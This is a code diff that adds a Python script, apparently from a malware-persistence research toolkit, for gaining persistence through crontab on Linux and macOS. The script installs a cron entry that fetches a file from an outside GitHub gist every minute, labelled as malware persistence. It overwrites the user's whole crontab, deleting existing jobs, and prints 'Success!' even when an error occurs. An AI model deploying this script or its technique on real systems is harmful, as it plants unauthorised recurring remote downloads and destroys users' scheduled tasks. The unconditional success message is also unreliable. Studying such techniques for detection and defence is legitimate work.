Add crontab persistence

#17

src/persistence/cross-platform/crontab-persist.py

@@ -0,0 +1,49 @@
+# This technique obtains persistence by adding a command to the crontab file,
+# which will be run however often is specified in the crontab entry.
+
+# Tested on macOS 10.14.4.
+
+import os
+import tempfile
+import sys
+sys.path.insert(0, "../..")
+from utils.print import *
+from utils.utils import get_os_name
+
+###
+# Set up global variables
+###
+
+os_name = get_os_name()
+if os_name == "linux":
+	comment = "Linux Malware Persistence"
+elif os_name == "darwin":
+	comment = "macOS Malware Persistence"
+else:
+	print_red("ERROR: Unknown OS.")
+	sys.exit(1)
+
+command = "curl -o ~/Desktop/pwn_notification https://gist.githubusercontent.com/alichtman/02552dea8d9dc509942d57b77112f008/raw/"
+timing = "* * * * *"
+
+
+def main():
+	print_blue("Obtaining persistence through crontab...")
+	# Create tempfile
+	fd, path = tempfile.mkstemp()
+	try:
+		# Write command into temp file
+		with os.fdopen(fd, 'w') as tmp:
+			tmp.write("{} {} # {}\n".format(timing, command, comment))
+
+		# Read this file into crontab
+		os.system("crontab {}".format(path))
+	except Exception as e:
+		print_red("ERROR: {}".format(e))
+	finally:
+		os.remove(path)
+		print_green("Success!")
+
+
+if __name__ == "__main__":
+	main()